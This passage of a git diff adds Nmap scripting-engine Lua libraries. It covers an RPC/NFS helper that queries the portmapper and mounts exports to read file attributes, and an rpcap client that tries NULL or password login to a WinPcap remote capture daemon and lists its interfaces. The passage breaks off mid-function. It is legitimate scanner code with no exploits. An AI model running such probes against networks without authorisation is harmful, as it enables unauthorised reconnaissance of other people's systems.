+ --- Retrieves NFS Attributes
+ --
+ -- @param host table
+ -- @param port table
+ -- @param path string containing the nfs export path
+ -- @return status true on success, false on failure
+ -- @return statfs table with the fields <code>transfer_size</code>, <code>block_size</code>,
+ -- <code>total_blocks</code>, <code>free_blocks</code> and <code>available_blocks</code>
+ GetAttributes = function( host, port, path )
+ local fhandle
+ local attribs, status, result
+ local mnt_comm, nfs_comm
+ local mountd, nfsd = {}, {}
+ local mnt, nfs = Mount:new(), NFS:new()
+
+ status, mountd = Helper.GetProgramInfo( host, port, "mountd")
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.GetAttributes: GetProgramInfo failed")
+ return status, "rpc.Helper.GetAttributes: GetProgramInfo failed"
+ end
+
+ status, nfsd = Helper.GetProgramInfo( host, port, "nfs")
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.GetAttributes: GetProgramInfo failed")
+ return status, "rpc.Helper.GetAttributes: GetProgramInfo failed"
+ end
+
+ mnt_comm, result = Comm:new('mountd', mountd.version)
+ nfs_comm, result = Comm:new('nfs', nfsd.version)
+
+ -- TODO: recheck the version mismatch when adding NFSv4
+ if (nfs_comm.version <= 2 and mnt_comm.version > 2) then
+ stdnse.debug4("rpc.Helper.GetAttributes: versions mismatch, nfs v%d - mount v%d",
+ nfs_comm.version, mnt_comm.version)
+ return false, string.format("versions mismatch, nfs v%d - mount v%d",
+ nfs_comm.version, mnt_comm.version)
+ end
+
+ status, result = mnt_comm:Connect(host, mountd.port)
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.GetAttributes: %s", result)
+ return status, result
+ end
+
+ status, result = nfs_comm:Connect(host, nfsd.port)
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.GetAttributes: %s", result)
+ return status, result
+ end
+
+ status, fhandle = mnt:Mount(mnt_comm, path)
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.GetAttributes: %s", fhandle)
+ return status, fhandle
+ end
+
+ status, attribs = nfs:GetAttr(nfs_comm, fhandle)
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.GetAttributes: %s", attribs)
+ return status, attribs
+ end
+
+ status, fhandle = mnt:Unmount(mnt_comm, path)
+
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.GetAttributes: %s", fhandle)
+ return status, fhandle
+ end
+
+ return true, attribs
+ end,
+
+ --- Queries the portmapper for a list of programs
+ --
+ -- @param host table
+ -- @param port table
+ -- @return status true on success, false on failure
+ -- @return table containing the portmapper information as returned by
+ -- <code>Portmap.Dump</code>
+ RpcInfo = function( host, port )
+ local status, result
+ local portmap = Portmap:new()
+
+ mutex "lock"
+
+ if nmap.registry[host.ip] == nil then
+ nmap.registry[host.ip] = {}
+ end
+ if nmap.registry[host.ip]['portmapper'] == nil then
+ nmap.registry[host.ip]['portmapper'] = {}
+ elseif next(nmap.registry[host.ip]['portmapper']) ~= nil then
+ mutex "done"
+ return true, nmap.registry[host.ip]['portmapper']
+ end
+
+ local pversion = 4
+ while pversion >= 2 do
+ local comm = Comm:new('rpcbind', pversion)
+ status, result = comm:Connect(host, port)
+ if (not(status)) then
+ mutex "done"
+ stdnse.debug4("rpc.Helper.RpcInfo: %s", result)
+ return status, result
+ end
+
+ status, result = portmap:Dump(comm)
+ comm:Disconnect()
+
+ if status then
+ break
+ end
+ stdnse.debug4("rpc.Helper.RpcInfo: %s", result)
+ pversion = pversion - 1
+ end
+
+ mutex "done"
+ return status, result
+ end,
+
+ --- Queries the portmapper for a port for the specified RPC program
+ --
+ -- @param host table
+ -- @param port table
+ -- @param program string containing the RPC program name
+ -- @param protocol string containing either "tcp" or "udp"
+ -- @return status true on success, false on failure
+ -- @return table containing the portmapper information as returned by
+ -- <code>Portmap.Dump</code>
+ GetPortForProgram = function( host, port, program, protocol )
+ local status, result
+ local portmap = Portmap:new()
+ local comm = Comm:new('rpcbind', 2)
+
+ status, result = comm:Connect(host, port)
+ if (not(status)) then
+ stdnse.debug4("rpc.Helper.GetPortForProgram: %s", result)
+ return status, result
+ end
+
+ status, result = portmap:GetPort(comm, program, protocol, 1 )
+ comm:Disconnect()
+ if (not(status)) then
+ stdnse.debug4("rpc.Helper.GetPortForProgram: %s", result)
+ end
+
+ return status, result
+ end,
+
+ --- Get RPC program information
+ --
+ -- @param host table
+ -- @param port table
+ -- @param program string containing the RPC program name
+ -- @param max_version (optional) number containing highest version to retrieve
+ -- @return status true on success, false on failure
+ -- @return info table containing <code>port</code>, <code>port.number</code>
+ -- <code>port.protocol</code> and <code>version</code>
+ GetProgramInfo = function( host, port, program, max_version )
+ local status, portmap_table = Helper.RpcInfo(host, port)
+ if ( not(status) ) then
+ return status, portmap_table
+ end
+
+ -- assume failure
+ status = false
+
+ local tmp = portmap_table[Util.ProgNameToNumber(program)]
+ if not tmp then
+ return false, "Program not supported by target"
+ end
+
+ local info = {}
+ local proginfo
+ local ipv6 = nmap.address_family() == "inet6"
+ ::AF_FALLBACK::
+ for _, p in ipairs( RPC_PROTOCOLS ) do
+ if ipv6 then
+ proginfo = tmp[p .. "6"]
+ else
+ proginfo = tmp[p]
+ end
+ if proginfo then
+ info.port = {}
+ info.port.number = proginfo.port
+ info.port.protocol = p
+ break
+ end
+ end
+ if ipv6 and not proginfo then
+ -- Fall back to trying IPv4
+ ipv6 = false
+ goto AF_FALLBACK
+ end
+
+ if not proginfo then
+ return false, "No transport protocol supported"
+ end
+
+ -- choose the highest version available
+ if ( not(RPC_version[program]) ) then
+ info.version = proginfo.version[#proginfo.version]
+ status = true
+ else
+ for i=#proginfo.version, 1, -1 do
+ if ( RPC_version[program].max >= proginfo.version[i] ) then
+ if ( not(max_version) ) then
+ info.version = proginfo.version[i]
+ status = true
+ break
+ else
+ if ( max_version >= proginfo.version[i] ) then
+ info.version = proginfo.version[i]
+ status = true
+ break
+ end
+ end
+ end
+ end
+ end
+
+ return status, info
+ end,
+}
+
+--- Static class containing mostly conversion functions
+-- and File type codes and permissions emulation
+Util =
+{
+ -- Symbolic letters for file permission codes
+ Fperm =
+ {
+ owner =
+ {
+ -- S_IRUSR
+ [0x00000100] = { idx = 1, char = "r" },
+ -- S_IWUSR
+ [0x00000080] = { idx = 2, char = "w" },
+ -- S_IXUSR
+ [0x00000040] = { idx = 3, char = "x" },
+ -- S_ISUID
+ [0x00000800] = { idx = 3, char = "S" },
+ },
+ group =
+ {
+ -- S_IRGRP
+ [0x00000020] = { idx = 4, char = "r" },
+ -- S_IWGRP
+ [0x00000010] = { idx = 5, char = "w" },
+ -- S_IXGRP
+ [0x00000008] = { idx = 6, char = "x" },
+ -- S_ISGID
+ [0x00000400] = { idx = 6, char = "S" },
+ },
+ other =
+ {
+ -- S_IROTH
+ [0x00000004] = { idx = 7, char = "r" },
+ -- S_IWOTH
+ [0x00000002] = { idx = 8, char = "w" },
+ -- S_IXOTH
+ [0x00000001] = { idx = 9, char = "x" },
+ -- S_ISVTX
+ [0x00000200] = { idx = 9, char = "t" },
+ },
+ },
+
+ -- bit mask used to extract the file type code from a mode
+ -- S_IFMT = 00170000 (octal)
+ S_IFMT = 0xF000,
+
+ FileType =
+ {
+ -- S_IFSOCK
+ [0x0000C000] = { char = "s", str = "socket" },
+ -- S_IFLNK
+ [0x0000A000] = { char = "l", str = "symbolic link" },
+ -- S_IFREG
+ [0x00008000] = { char = "-", str = "file" },
+ -- S_IFBLK
+ [0x00006000] = { char = "b", str = "block device" },
+ -- S_IFDIR
+ [0x00004000] = { char = "d", str = "directory" },
+ -- S_IFCHR
+ [0x00002000] = { char = "c", str = "char device" },
+ -- S_IFIFO
+ [0x00001000] = { char = "p", str = "named pipe" },
+ },
+
+ --- Converts a numeric ACL mode to a file type char
+ --
+ -- @param mode number containing the ACL mode
+ -- @return char containing the file type
+ FtypeToChar = function(mode)
+ local code = mode & Util.S_IFMT
+ if Util.FileType[code] then
+ return Util.FileType[code].char
+ else
+ stdnse.debug1("FtypeToChar: Unknown file type, mode: %o", mode)
+ return ""
+ end
+ end,
+
+ --- Converts a numeric ACL mode to a file type string
+ --
+ -- @param mode number containing the ACL mode
+ -- @return string containing the file type name
+ FtypeToString = function(mode)
+ local code = mode & Util.S_IFMT
+ if Util.FileType[code] then
+ return Util.FileType[code].str
+ else
+ stdnse.debug1("FtypeToString: Unknown file type, mode: %o", mode)
+ return ""
+ end
+ end,
+
+ --- Converts a numeric ACL mode to a string in an octal
+ -- number format.
+ --
+ -- @param mode number containing the ACL mode
+ -- @return string containing the octal ACL mode
+ FmodeToOctalString = function(mode)
+ local code = mode & Util.S_IFMT
+ if Util.FileType[code] then
+ code = mode ~ code
+ else
+ code = mode
+ stdnse.debug1("FmodeToOctalString: Unknown file type, mode: %o", mode)
+ end
+ return stdnse.tooctal(code)
+ end,
+
+ --- Converts a numeric ACL to its character equivalent eg. (rwxr-xr-x)
+ --
+ -- @param mode number containing the ACL mode
+ -- @return string containing the ACL characters
+ FpermToString = function(mode)
+ local tmpacl = { "-", "-", "-", "-", "-", "-", "-", "-", "-" }
+
+ for user,_ in pairs(Util.Fperm) do
+ local t = Util.Fperm[user]
+ for i in pairs(t) do
+ local code = mode & i
+ if t[code] then
+ -- save set-ID and sticky bits
+ if tmpacl[t[code].idx] == "x" then
+ if t[code].char == "S" then
+ tmpacl[t[code].idx] = "s"
+ else
+ tmpacl[t[code].idx] = t[code].char
+ end
+ elseif tmpacl[t[code].idx] == "S" then
+ if t[code].char == "x" then
+ tmpacl[t[code].idx] = "s"
+ end
+ else
+ tmpacl[t[code].idx] = t[code].char
+ end
+ end
+ end
+ end
+
+ return table.concat(tmpacl)
+ end,
+
+ --- Converts the NFS file attributes to a string.
+ --
+ -- An optional second argument is the mactime to use
+ --
+ -- @param attr table returned by NFS GETATTR or ACCESS
+ -- @param mactime to use, the default value is mtime
+ -- Possible values: mtime, atime, ctime
+ -- @return string containing the file attributes
+ format_nfsfattr = function(attr, mactime)
+ local time = "mtime"
+ if mactime then
+ time = mactime
+ end
+
+ return string.format("%s%s uid: %5d gid: %5d %6s %s",
+ Util.FtypeToChar(attr.mode),
+ Util.FpermToString(attr.mode),
+ attr.uid,
+ attr.gid,
+ Util.SizeToHuman(attr.size),
+ Util.TimeToString(attr[time].seconds))
+ end,
+
+ marshall_int32 = function(int32)
+ return string.pack(">i4", int32)
+ end,
+
+ unmarshall_int32 = function(data, pos, count)
+ local ints = {}
+ for i=1,(count or 1) do
+ ints[i], pos = string.unpack(">i4", data, pos)
+ end
+ return pos, table.unpack(ints)
+ end,
+
+ marshall_uint32 = function(uint32)
+ return string.pack(">I4", uint32)
+ end,
+
+ unmarshall_uint32 = function(data, pos, count)
+ local ints = {}
+ for i=1,(count or 1) do
+ ints[i], pos = string.unpack(">I4", data, pos)
+ end
+ return pos, table.unpack(ints)
+ end,
+
+ marshall_int64 = function(int64)
+ return string.pack(">i8", int64)
+ end,
+
+ unmarshall_int64 = function(data, pos, count)
+ local ints = {}
+ for i=1,(count or 1) do
+ ints[i], pos = string.unpack(">i8", data, pos)
+ end
+ return pos, table.unpack(ints)
+ end,
+
+ marshall_uint64 = function(uint64)
+ return string.pack(">I8", uint64)
+ end,
+
+ unmarshall_uint64 = function(data, pos, count)
+ local ints = {}
+ for i=1,(count or 1) do
+ ints[i], pos = string.unpack(">I8", data, pos)
+ end
+ return pos, table.unpack(ints)
+ end,
+
+ marshall_opaque = function(data)
+ return data .. string.rep("\0", Util.CalcFillBytes(data:len()))
+ end,
+
+ unmarshall_opaque = function(len, data, pos)
+ local opaque, pos = string.unpack("c" .. len, data, pos)
+ return pos, opaque
+ end,
+
+ marshall_vopaque = function(data)
+ local l = data:len()
+ return (
+ Util.marshall_uint32(l) .. data ..
+ string.rep("\0", Util.CalcFillBytes(l))
+ )
+ end,
+
+ unmarshall_vopaque = function(len, data, pos)
+ local opaque, pad
+ pad = Util.CalcFillBytes(len)
+ opaque, pos = string.unpack("c" .. len, data, pos)
+ return pos + pad, opaque
+ end,
+
+ unmarshall_nfsftype = function(data, pos, count)
+ return Util.unmarshall_uint32(data, pos, count)
+ end,
+
+ unmarshall_nfsfmode = function(data, pos, count)
+ return Util.unmarshall_uint32(data, pos, count)
+ end,
+
+ unmarshall_nfssize3 = function(data, pos, count)
+ return Util.unmarshall_uint64(data, pos, count)
+ end,
+
+ unmarshall_nfsspecdata3 = function(data, pos)
+ local specdata3 = {}
+ pos, specdata3.specdata1,
+ specdata3.specdata2 = Util.unmarshall_uint32(data, pos, 2)
+ return pos, specdata3
+ end,
+
+ --- Unmarshall NFSv3 fileid field of the NFS attributes
+ --
+ -- @param data The data being processed.
+ -- @param pos The position within <code>data</code>
+ -- @return pos The new position
+ -- @return uint64 The decoded fileid
+ unmarshall_nfsfileid3 = function(data, pos)
+ return Util.unmarshall_uint64(data, pos)
+ end,
+
+ --- Unmarshall NFS time
+ --
+ -- @param data The data being processed.
+ -- @param pos The position within <code>data</code>
+ -- @return pos The new position
+ -- @return table The decoded NFS time table.
+ unmarshall_nfstime = function(data, pos)
+ local nfstime = {}
+ pos, nfstime.seconds,
+ nfstime.nseconds = Util.unmarshall_uint32(data, pos, 2)
+ return pos, nfstime
+ end,
+
+ --- Unmarshall NFS file attributes
+ --
+ -- @param data The data being processed.
+ -- @param pos The position within <code>data</code>
+ -- @param number The NFS version.
+ -- @return pos The new position
+ -- @return table The decoded file attributes table.
+ unmarshall_nfsattr = function(data, pos, nfsversion)
+ local attr = {}
+ pos, attr.type = Util.unmarshall_nfsftype(data, pos)
+ pos, attr.mode = Util.unmarshall_nfsfmode(data, pos)
+ pos, attr.nlink, attr.uid,
+ attr.gid = Util.unmarshall_uint32(data, pos, 3)
+
+ if (nfsversion < 3) then
+ pos, attr.size, attr.blocksize, attr.rdev, attr.blocks,
+ attr.fsid, attr.fileid = Util.unmarshall_uint32(data, pos, 6)
+ elseif (nfsversion == 3) then
+ pos, attr.size = Util.unmarshall_nfssize3(data, pos)
+ pos, attr.used = Util.unmarshall_nfssize3(data, pos)
+ pos, attr.rdev = Util.unmarshall_nfsspecdata3(data, pos)
+ pos, attr.fsid = Util.unmarshall_uint64(data, pos)
+ pos, attr.fileid = Util.unmarshall_nfsfileid3(data, pos)
+ else
+ stdnse.debug4("unmarshall_nfsattr: unsupported NFS version %d",
+ nfsversion)
+ return -1, nil
+ end
+
+ pos, attr.atime = Util.unmarshall_nfstime(data, pos)
+ pos, attr.mtime = Util.unmarshall_nfstime(data, pos)
+ pos, attr.ctime = Util.unmarshall_nfstime(data, pos)
+
+ return pos, attr
+ end,
+
+ --- Returns a string containing date and time
+ --
+ -- @param number of seconds since some given start time
+ -- (the "epoch")
+ -- @return string that represents time.
+ TimeToString = datetime.format_timestamp,
+
+ --- Converts the size in bytes to a human readable format
+ --
+ -- An optional second argument is the size of a block
+ -- @usage
+ -- size_tohuman(1024) --> 1024.0B
+ -- size_tohuman(926548776) --> 883.6M
+ -- size_tohuman(246548, 1024) --> 240.8K
+ -- size_tohuman(246548, 1000) --> 246.5K
+ --
+ -- @param size in bytes
+ -- @param blocksize represents the number of bytes per block
+ -- Possible values are: 1024 or 1000
+ -- Default value is: 1024
+ -- @return string containing the size in the human readable
+ -- format
+ SizeToHuman = function(size, blocksize)
+ local bs, idx = 1024, 1
+ local unit = { "B", "K", "M", "G" , "T"}
+ if blocksize and blocksize == 1000 then
+ bs = blocksize
+ end
+ for i=1, #unit do
+ if (size > bs and idx < #unit) then
+ size = size / bs
+ idx = idx + 1
+ end
+ end
+ return string.format("%.1f%s", size, unit[idx])
+ end,
+
+ format_access = function(mask, version)
+ local ret, nfsobj = "", NFS:new()
+
+ if nfsobj:AccessRead(mask, version) ~= 0 then
+ ret = "Read "
+ else
+ ret = "NoRead "
+ end
+
+ if nfsobj:AccessLookup(mask, version) ~= 0 then
+ ret = ret .. "Lookup "
+ else
+ ret = ret .. "NoLookup "
+ end
+
+ if nfsobj:AccessModify(mask, version) ~= 0 then
+ ret = ret .. "Modify "
+ else
+ ret = ret .. "NoModify "
+ end
+
+ if nfsobj:AccessExtend(mask, version) ~= 0 then
+ ret = ret .. "Extend "
+ else
+ ret = ret .. "NoExtend "
+ end
+
+ if nfsobj:AccessDelete(mask, version) ~= 0 then
+ ret = ret .. "Delete "
+ else
+ ret = ret .. "NoDelete "
+ end
+
+ if nfsobj:AccessExecute(mask, version) ~= 0 then
+ ret = ret .. "Execute"
+ else
+ ret = ret .. "NoExecute"
+ end
+
+ return ret
+ end,
+
+ --- Return the pathconf filesystem table
+ --
+ -- @param pconf table returned by the NFSv3 PATHCONF call
+ -- @param nfsversion the version of the remote NFS server
+ -- @return fs table that contains the remote filesystem
+ -- pathconf information.
+ calc_pathconf_table = function(pconf, nfsversion)
+ local fs = {}
+ if nfsversion ~= 3 then
+ return nil, "ERROR: unsupported NFS version."
+ end
+
+ fs.linkmax = pconf.linkmax
+ fs.name_max = pconf.name_max
+
+ if pconf.chown_restricted then
+ fs.chown_restricted = "True"
+ else
+ fs.chown_restricted = "False"
+ end
+
+ return fs, nil
+ end,
+
+ --- Calculate and return the fsinfo filesystem table
+ --
+ -- @param fsinfo table returned by the NFSv3 FSINFO call
+ -- @param nfsversion the version of the remote NFS server
+ -- @param human if set show the size in the human
+ -- readable format.
+ -- @return fs table that contains the remote filesystem
+ -- information.
+ calc_fsinfo_table = function(fsinfo, nfsversion, human)
+ local fs = {}
+ local nfsobj = NFS:new()
+ if nfsversion ~= 3 then
+ return nil, "ERROR: unsupported NFS version."
+ end
+
+ fs.maxfilesize = Util.SizeToHuman(fsinfo.maxfilesize)
+
+ if nfsobj:FSinfoLink(fsinfo.properties, nfsversion) ~= 0 then
+ fs.link = "True"
+ else
+ fs.link = "False"
+ end
+
+ if nfsobj:FSinfoSymlink(fsinfo.properties, nfsversion) ~= 0 then
+ fs.symlink = "True"
+ else
+ fs.symlink = "False"
+ end
+
+ return fs, nil
+ end,
+
+ --- Calculate and return the fsstat filesystem table
+ --
+ -- @param stats table returned by the NFSv3 FSSTAT or
+ -- NFSv2 STATFS calls
+ -- @param nfsversion the version of the remote NFS server
+ -- @param human if set show the size in the human
+ -- readable format.
+ -- @return df table that contains the remote filesystem
+ -- attributes.
+ calc_fsstat_table = function(stats, nfsversion, human)
+ local df, base = {}, 1024
+ local size, free, total, avail, used, use
+ if (nfsversion == 3) then
+ free = stats.fbytes
+ size = stats.tbytes
+ avail = stats.abytes
+ elseif (nfsversion == 2) then
+ df.bsize = stats.block_size
+ free = stats.free_blocks * df.bsize
+ size = stats.total_blocks * df.bsize
+ avail = stats.available_blocks * df.bsize
+ else
+ return nil, "ERROR: unsupported NFS version."
+ end
+
+ if (human) then
+ if (df.bsize) then
+ df.bsize = Util.SizeToHuman(df.bsize)
+ end
+ df.size = Util.SizeToHuman(size)
+ df.available = Util.SizeToHuman(avail)
+ used = size - free
+ avail = avail
+ df.used = Util.SizeToHuman(used)
+ total = used + avail
+ else
+ free = free / base
+ df.size = size / base
+ df.available = avail / base
+ used = df.size - free
+ df.used = used
+ total = df.used + df.available
+ end
+
+ use = math.ceil(used * 100 / total)
+ df.use = string.format("%.0f%%", use)
+ return df, nil
+ end,
+
+ --- Converts a RPC program name to its equivalent number
+ --
+ -- @param prog_name string containing the name of the RPC program
+ -- @return num number containing the program ID
+ ProgNameToNumber = function(prog_name)
+ local status
+
+ if not( RPC_PROGRAMS ) then
+ status, RPC_PROGRAMS = datafiles.parse_rpc()
+ if ( not(status) ) then
+ return
+ end
+ end
+ if not RPC_NUMBERS then
+ RPC_NUMBERS = tableaux.invert(RPC_PROGRAMS)
+ end
+ return RPC_NUMBERS[prog_name]
+ end,
+
+ --- Converts the RPC program number to its equivalent name
+ --
+ -- @param num number containing the RPC program identifier
+ -- @return string containing the RPC program name
+ ProgNumberToName = function( num )
+ local status
+
+ if not( RPC_PROGRAMS ) then
+ status, RPC_PROGRAMS = datafiles.parse_rpc()
+ if ( not(status) ) then
+ return
+ end
+ end
+ return RPC_PROGRAMS[num]
+ end,
+
+ --
+ -- Calculates the number of fill bytes needed
+ -- @param length contains the length of the string
+ -- @return the amount of pad needed to be dividable by 4
+ CalcFillBytes = function(length)
+ -- calculate fill bytes
+ if math.fmod( length, 4 ) ~= 0 then
+ return (4 - math.fmod( length, 4))
+ else
+ return 0
+ end
+ end
+}
+
+return _ENV;
diff --git a/nselib/rpcap.lua b/nselib/rpcap.lua
new file mode 100644
index 0000000..e524461
--- /dev/null
+++ b/nselib/rpcap.lua
@@ -0,0 +1,435 @@
+---
+-- This library implements the fundamentals needed to communicate with the
+-- WinPcap Remote Capture Daemon. It currently supports authenticating to
+-- the service using either NULL-, or Password-based authentication.
+-- In addition it has the capabilities to list the interfaces that may be
+-- used for sniffing.
+--
+-- The library consist of classes handling <code>Request</code> and classes
+-- handling <code>Response</code>. The communication with the service is
+-- handled by the <code>Comm</code> class, and the main interface for script
+-- writers is kept under the <code>Helper</code> class.
+--
+-- The following code snippet illustrates how to connect to the service and
+-- extract information about network interfaces:
+-- <code>
+-- local helper = rpcap.Helper:new(host, port)
+-- helper:connect()
+-- helper:login()
+-- helper:findAllInterfaces()
+-- helper:close()
+-- </code>
+--
+-- For a more complete example, consult the rpcap-info.nse script.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+
+local ipOps = require "ipOps"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("rpcap", stdnse.seeall)
+
+RPCAP = {
+
+ MessageType = {
+ ERROR = 1,
+ FIND_ALL_INTERFACES = 2,
+ AUTH_REQUEST = 8,
+ },
+
+ -- Holds the two supported authentication mechanisms PWD and NULL
+ Authentication = {
+
+ PWD = {
+
+ new = function(self, username, password)
+ local o = {
+ type = 1,
+ username = username,
+ password = password,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ local DUMMY = 0
+ return string.pack(">I2I2I2I2", self.type, DUMMY, #self.username, #self.password) .. self.username .. self.password
+ end,
+
+ },
+
+ NULL = {
+
+ new = function(self)
+ local o = {
+ type = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ local DUMMY = 0
+ return string.pack(">I2I2I2I2", self.type, DUMMY, 0, 0)
+ end,
+
+ }
+
+ },
+
+ -- The common request and response header
+ Header = {
+ size = 8,
+ new = function(self, type, value, length)
+ local o = {
+ version = 0,
+ type = type,
+ value= value or 0,
+ length = length or 0
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local header = RPCAP.Header:new()
+ header.version, header.type, header.value, header.length = string.unpack(">BBI2I4", data)
+ return header
+ end,
+
+ __tostring = function(self)
+ return string.pack(">BBI2I4", self.version, self.type, self.value, self.length)
+ end,
+
+ },
+
+ -- The implemented request types are kept here
+ Request = {
+
+ Authentication = {
+
+ new = function(self, data)
+ local o = {
+ header = RPCAP.Header:new(RPCAP.MessageType.AUTH_REQUEST, nil, #data),
+ data = data,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return tostring(self.header) .. tostring(self.data)
+ end,
+
+ },
+
+ FindAllInterfaces = {
+
+ new = function(self)
+ local o = {
+ header = RPCAP.Header:new(RPCAP.MessageType.FIND_ALL_INTERFACES)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+
+
+ }
+
+ },
+
+ -- Parsers for responses are kept here
+ Response = {
+
+ Authentication = {
+ new = function(self)
+ local o = { }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local resp = RPCAP.Response.Authentication:new()
+ local pos = RPCAP.Header.size + 1
+ resp.header = RPCAP.Header.parse(data)
+ return resp
+ end
+ },
+
+ Error = {
+ new = function(self)
+ local o = { }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local err = RPCAP.Response.Error:new()
+ local pos = RPCAP.Header.size + 1
+ err.header = RPCAP.Header.parse(data)
+ err.error, pos = string.unpack("c" .. err.header.length, data, pos)
+ return err
+ end
+
+ },
+
+ FindAllInterfaces = {
+ new = function(self)
+ local o = { }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+
+ -- Each address is made up of 4 128 byte fields, this function
+ -- parses these fields and return the response, if it
+ -- understands it. Otherwise it simply increases the pos by the
+ -- correct offset, to get us to the next field.
+ local function parseField(data, pos)
+ local offset = pos
+ local family, port
+ family, port, pos = string.unpack(">I2I2", data, pos)
+
+ if ( family == 0x0017 ) then
+ -- not sure why...
+ pos = pos + 4
+
+ local ipv6 = ipOps.str_to_ip(data:sub(pos, pos + 16 - 1))
+ return offset + 128, ipv6
+ elseif ( family == 0x0002 ) then
+ local ipv4 = ipOps.str_to_ip(data:sub(pos, pos + 4 - 1))
+ return offset + 128, ipv4
+ end
+
+ return offset + 128, nil
+ end
+
+ -- Parses one of X addresses returned for an interface
+ local function parseAddress(data, pos)
+ local fields = {"ip", "netmask", "bcast", "p2p"}
+ local addr = {}
+
+ for _, f in ipairs(fields) do
+ pos, addr[f] = parseField(data, pos)
+ end
+
+ return pos, addr
+ end
+
+ local resp = RPCAP.Response.FindAllInterfaces:new()
+ local pos = RPCAP.Header.size + 1
+ resp.header = RPCAP.Header.parse(data)
+ resp.ifaces = {}
+
+ for i=1, resp.header.value do
+ local name_len, desc_len, iface_flags, addr_count, dummy
+ name_len, desc_len, iface_flags, addr_count, dummy, pos = string.unpack(">I2I2I4I2I2", data, pos)
+
+ local name, desc
+ name, desc, pos = string.unpack("c" .. name_len .. "c" .. desc_len, data, pos)
+
+ local addrs = {}
+ for j=1, addr_count do
+ local addr
+ pos, addr = parseAddress(data, pos)
+ local cidr
+ if ( addr.netmask ) then
+ table.insert(addrs, addr.ip .. ipOps.subnet_to_cidr(addr.netmask))
+ else
+ table.insert(addrs, addr.ip)
+ end
+ end
+ table.insert(resp.ifaces, { name = name, desc = desc, addrs = addrs })
+ end
+ return resp
+ end,
+ }
+
+
+ }
+
+}
+
+-- Maps packet types to classes
+RPCAP.TypeToClass = {
+ [1] = RPCAP.Response.Error,
+ [130] = RPCAP.Response.FindAllInterfaces,
+ [136] = RPCAP.Response.Authentication,
+}
+
+
+-- The communication class
+Comm = {
+
+ -- Creates a new instance of the Comm class
+ -- @param host table
+ -- @param port table
+ -- @return o instance of Comm
+ new = function(self, host, port, socket)
+ local o = { host = host, port = port, socket = socket or nmap.new_socket() }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects the socket to the server
+ connect = function(self)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ -- Sends an instance of the request class to the server
+ -- @param req class instance
+ -- @return status true on success, false on failure
+ -- @return err string containing error message if status is false
+ send = function(self, req)
+ return self.socket:send(req)
+ end,
+
+ -- receives a packet and attempts to parse it if it has a supported parser
+ -- in RPCAP.TypeToClass
+ -- @return status true on success, false on failure
+ -- @return resp instance of a Response class or
+ -- err string containing the error message
+ recv = function(self)
+ local status, hdr_data = self.socket:receive_buf(match.numbytes(RPCAP.Header.size), true)
+ if ( not(status) ) then
+ return status, hdr_data
+ end
+
+ local header = RPCAP.Header.parse(hdr_data)
+ if ( not(header) ) then
+ return false, "rpcap: Failed to parse header"
+ end
+
+ local status, data = self.socket:receive_buf(match.numbytes(header.length), true)
+ if ( not(status) ) then
+ return false, "rpcap: Failed to read packet data"
+ end
+
+ if ( RPCAP.TypeToClass[header.type] ) then
+ local resp = RPCAP.TypeToClass[header.type].parse(hdr_data .. data)
+ if ( resp ) then
+ return true, resp
+ end
+ end
+
+ return false, "Failed to receive response from server"
+ end,
+
+ -- Sends and request and receives the response
+ -- @param req the instance of the Request class to send
+ -- @return status true on success, false on failure
+ -- @return resp instance of a Response class or
+ -- err string containing the error message
+ exch = function(self, req)
+ local status, data = self:send(tostring(req))
+ if ( not(status) ) then
+ return status, data
+ end
+ return self:recv()
+ end,
+
+ -- closes the socket
+ close = function(self)
+ return self.socket:close()
+ end,
+
+}
+
+
+Helper = {
+
+ -- Creates a new instance of the Helper class
+ -- @param host table
+ -- @param port table
+ -- @return o instance of Helper
+ new = function(self, host, port)
+ local o = {
+ host = host,
+ port = port,
+ comm = Comm:new(host, port)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the server
+ connect = function(self)
+ return self.comm:connect(self.host, self.port)
+ end,
+
+ -- Authenticates to the service, in case no username or password is given
+ -- NULL authentication is assumed.
+ -- @param username [optional]
+ -- @param password [optional]
+ -- @return status true on success, false on failure
+ -- @return err string containing error message on failure
+ login = function(self, username, password)
+ local auth
+
+ if ( username and password ) then
+ auth = RPCAP.Authentication.PWD:new(username, password)
+ else
+ auth = RPCAP.Authentication.NULL:new()
+ end
+
+ local req = RPCAP.Request.Authentication:new(tostring(auth))
+ local status, resp = self.comm:exch(req)
+
+ if ( not(status) ) then
+ return false, resp
+ end
+
+ if ( status and resp.error ) then
+ return false, resp.error
+ end
+ return true
+ end,
+
+ -- Requests a list of all interfaces
+ -- @return table containing interfaces and addresses
+ findAllInterfaces = function(self)
+ local req = RPCAP.Request.FindAllInterfaces:new()
+ local status, resp = self.comm:exch(req)
+
+ if ( not(status) ) then
+ return false, resp
+ end
+
+ local results = {}
+ for _, iface in ipairs(resp.ifaces) do
+ local entry = {}
